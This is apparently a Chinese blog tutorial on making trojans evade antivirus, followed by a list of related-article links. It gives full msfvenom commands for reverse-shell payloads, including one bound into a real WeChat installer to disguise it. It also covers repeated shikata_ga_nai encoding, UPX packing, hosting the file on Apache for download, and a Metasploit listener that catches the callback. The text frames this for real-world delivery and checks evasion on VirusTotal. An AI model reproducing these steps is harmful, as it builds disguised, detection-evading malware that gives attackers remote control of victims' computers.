木马免杀的几种方式

文章目录

  • 木马免杀的几种方式
  • 前言
  • 1、裸奔马的尝试
  • 2、部署一下kali上的apache服务,令目标机器能够访问下载我们生成的木马
    • 2.1、kali中是自带有apache的,启动apache服务
    • 2.2、把生成的weixin.exe文件放在/var/www/html文件夹下![在这里插入图片描述](https://img-blog.csdnimg.cn/39b1ffe0ec594bad8911759d6387c061.png)
    • 2.3、在靶机下访问192.168.111.132/weinxin.exe,已经下载
    • 2.4、发现被AV查杀
    • 2.5、这里po一个在线杀毒查杀的网站,virustotal是一个提供免费的可疑文件分析服务的网站,它与传统杀毒软件的不同之处是它通过多种反病毒引擎扫描文件。使用多种反病毒引擎对您所上传的文件进行检测, 以判断文件是否被病毒, 蠕虫, 木马, 以及各类恶意软件感染。
  • 2、MSF编码
  • 后言

前言

免杀,又叫免杀毒技术,是反病毒,反间谍的对立面,是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外,还可以扩增病毒木马的功能,改变病毒木马的行为。免杀的基本特征是破坏特征,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。免杀技术也并不是十恶不赦的,例如,在软件保护所用的加密产品(比如壳)中,有一些会被杀毒软件认为是木马病毒;一些安全领域中的部分安全检测产品,也会被杀毒软件误杀,这时就需要免杀技术来应对这些不稳定因素。

1、裸奔马的尝试

意为不做任何免杀处理的木马
1、使用msf的msfvenom生成木马文件,生成一个裸奔马,命名为 weixin.exe吧
命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.132 LPORT=8888 -f exe > weixin.exe

2、部署一下kali上的apache服务,令目标机器能够访问下载我们生成的木马

2.1、kali中是自带有apache的,启动apache服务

2.2、把生成的weixin.exe文件放在/var/www/html文件夹下

2.3、在靶机下访问192.168.111.132/weinxin.exe,已经下载

2.4、发现被AV查杀



如果在实战中,直接投递裸奔马比较容易引起对方运维人员的警觉,这种方式也比较冒险,所以在投递之前,要测试制作的木马是否会引起相关AV的查杀,比如在在线多引擎病毒识别工具中去测试

2.5、这里po一个在线杀毒查杀的网站,virustotal是一个提供免费的可疑文件分析服务的网站,它与传统杀毒软件的不同之处是它通过多种反病毒引擎扫描文件。使用多种反病毒引擎对您所上传的文件进行检测, 以判断文件是否被病毒, 蠕虫, 木马, 以及各类恶意软件感染。

2、MSF编码

在metasploit框架下免杀的方式之一是msf编码器,功能是使用msf编码器对我们制作的木马进行重新编码,生成一个二进制文件,这个文件运行后,msf编码器会将原始程序解码到内存中并执行。

1、在kali终端输入 msfvenom -l encoders,这可以列出所有可用的编码格式
2、在msf的/data/templates/下有很多metasploit自带的用于捆绑木马的程序模板,这个模块但是一些反病毒厂商关注的重点,为了更好的实现免杀,我们需要自主选择一个待捆绑程序。在这里选择是真正的微信安装包。(也有对裸奔马进行shikata_ga_nai编码饶AV的方法,但是shikata_ga_nai编码技术多态,每次生成的攻击载荷文件都不一样,有时生成的文件会被查杀,有时不会,所以结合以上思路,生成一个捆绑木马,并进行shikata_ga_nai编码)


把微信安装包放在/root文件夹下

3、使用msfvenom生成一个Windows环境下的木马,并捆绑到WeChatSetup.exe上生成WeChatSetup1.exe的合成马,同时对木马进行x86/shikata_ga_nai进行多次编码的方式进行免杀处理。

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.111.132 LPORT=9999 -e x86/shikata_ga_nai -x WeChatSetup.exe -i 12 -f exe -o /root/WeChatSetup1.exe

参数说明:

-e /指定编码方式对攻击载荷进行重新编码
-x /指定木马捆绑在哪个可执行程序模板上
-i /指定对目标进行编码的次数,多次编码理论上有助于免杀的实现
-f /指定msf编码器输出程序的格式
-0 /指定处理完毕后的文件输出路径

4、把生成的文件放在kali中的apache服务对应的文件夹下,令攻击机访问

5、攻击机下载后,在msf上创建监听

use exploit/multi/handler
set payload windows/shell/reverse_tcp ///选择payload为Windows/shell/reverse_tcp
show options ///查看一下哪些选项需要配置
set lhost 192.168.111.132 ///设置一下主机地址
set lport 9999 ///设置下主机端口,为木马设定的端口
run


6、在目标机器上点击伪造的安装包,没有打开,因为捆绑木马并多次编码后,安装包源文件已经损坏,但是在攻击机的,目标机器已经上线
3、UPX加壳
upx打包器有两种功能,一种叫做给程序加壳,一种叫压缩程序,在这里使用打包器的目的是改变后门程序的特征码。

压缩的时候:它首先可执行文件中的可执行数据解压出来,然后将解压缩用的代码附加在前面

运行的时候:将原本的可执行数据解压出来,然后再运行解压缩后的数据
1、在kali中内置了upx打包器,输入upx可以看下参数介绍

2、简单的命令就是直接upx file,对file文件进行加壳处理,加壳后,因为经过压缩,文件大小会变小
3、还是老样子,把上面经历过编码后,又加壳的weixin安装包放在apache服务的文件夹下,供目标机器读取下载(如上2.4)
4、在msf上可以创建正常的连接和监听,成功传回

后言

免杀技术也被安全技术厂商盯上并开发相对应的检测技术,所以免杀技术与杀软技术是互相促进发展的,而且发展速度很快,有些现在可以测试成功的杀软技术,过段时间就不能用了。免杀技术还需要狠下功夫去研究,接下来也会尝试python,GO写的免杀,也会在后续文章中叙述进展!

渗透测试-木马免杀的几种方式相关推荐

  1. 【网络安全】渗透测试之木马免杀

    博主昵称:跳楼梯企鹅 博主主页面链接:博主主页传送门 博主专栏页面连接:

  2. PHP一句话木马免杀(通过VirusTotal测试)

    PHP一句话木马免杀 仅用于学习与交流,请勿用于非法用途!!! 简介与思路 免杀技术全称为反杀毒技术Anti Anti- Virus简称"免杀",它指的是一种能使病毒木马免于被杀毒 ...

  3. 木马免杀(绕过杀软)

    仅用于学习交流 免杀是一个渗透测试中最苦恼的环节,也是一个需要学习很久的部分. 利用kali生成的木马存在的问题就是无法避免市面上大多数的杀软,及时利用kali自带的免杀也无法达到很好的免杀效果. 免 ...

  4. 木马免杀原理及方法(超全)

    灰鸽子免杀 概况 免杀意为免除被杀毒 软件杀掉的软件. 灰鸽子免杀简介:本工具为纯绿色工具,软件采用独特的查杀技巧可完全查杀灰鸽子全系列(VIP2005.vip2006.免杀处理) 木马,本软件已经过 ...

  5. 内网渗透-常用工具免杀

    内网渗透-常用工具免杀 Mimikatz免杀 Mimikatz其实并不只有抓取口令这个功能,它还能够创建票证.票证传递.hash传递.甚至伪造域管理凭证令牌等诸多功能.由于mimikatz的使用说明网 ...

  6. 052 木马免杀全攻略

    木马免杀全攻略 转载自:a1pass.blog.163.com 2007-12-07 14:02:24| 分类: 思绪燃星火--技 | 标签:黑客 杂志刊物 作者:A1Pass 出处:http://a ...

  7. Kali木马免杀,权限提升(kali本地木马免杀)

    由于现在版本的木马查杀工具更新之快,木马在计算机上基本是裸奔的,再好的免杀技术也逃不过工具的查杀,下面是我研究很久的本地木马免杀,基本都是网上的百度总结,把可以是实现免杀的木马生成进行了总结. 免杀成 ...

  8. 一文带你学会0编程基础做木马免杀

    更多渗透技能 ,10余本电子书及渗透工具包,搜公众号:白帽子左一 作者:掌控安全-骚骑 背景 之前分享了个免杀入门文,很浅显,比较适合小白看- 文章在社区,地址我放在这了,有兴趣可以一戳: https ...

  9. 0x06 木马免杀篇、0x07应急与响应、0x08 安全防御篇、0x09 其他问题篇

     来源如下图:(微信公众号:0x00实验室) 0x06 木马免杀篇         免杀可以先fuzz 定位出被查杀的语句,然后对被查杀那部分进行一波操作,像是加密啊.编 码啊.动态执行啊什么的,或者 ...

最新文章

  1. Silverlight4实现三维企业网站
  2. KGmailNotifier-Gmail 邮件关照轨范
  3. 不起作用 微信小程序 顶部json_微信小程序之 新建项目默认结构
  4. mysql之ALTER COLUMN、CHANGE COLUMN、MODIFY COLUMN的区别
  5. php 伪静态 500错误,Apache开启伪静态后报500错误.
  6. 每一个问题都是一把锁
  7. Dubbo(一) 使用Java RMI 实现RPC(远程过程调用)
  8. 外媒:现代和起亚计划在新一代电动汽车上使用碳纳米管加热器
  9. python字符串索引位置替换 不搞虚的 直上代码
  10. 修改主题源码html文件,如何修改网站模板
  11. 推荐姊妹篇:搜索中的深度匹配模型
  12. Chrome谷歌浏览器Flash Player被屏蔽如何解决
  13. IE8 “Automation 服务器不能创建对象”问题解决方法
  14. PCI/PCIE相关知识
  15. JavaScript生成PDF
  16. Block-scoped declarations (let, const, function, class) not yet supported outs报错解决
  17. Android侧滑原来可以这么优雅
  18. 不借助idea开发工具构建一个Javaweb项目
  19. php怎么切取部分歌曲,怎么把歌曲里的某一段剪切出来-歌曲怎么剪切,音频剪切软件...
  20. 汇编语言程序设计第二章--IA32

热门文章

  1. 解决SQL Server2017的sa用户被禁用
  2. jQuery插件和JavaScript库
  3. 化工行业的ERP选型
  4. PHP新手入门简单了解PHP知识
  5. ubuntu16.04设置应用程序桌面快捷方式(QQ为例)
  6. java编程用什么软件最好_java语言用什么编程软件
  7. 华为云服务器上部署war包(虚拟机也同样适用)
  8. Eclipse格式化js代码
  9. 荣耀x10和荣耀30s哪个好?
  10. 解决删除文件、文件夹错误,访问被拒绝请确定磁盘未满或未被写保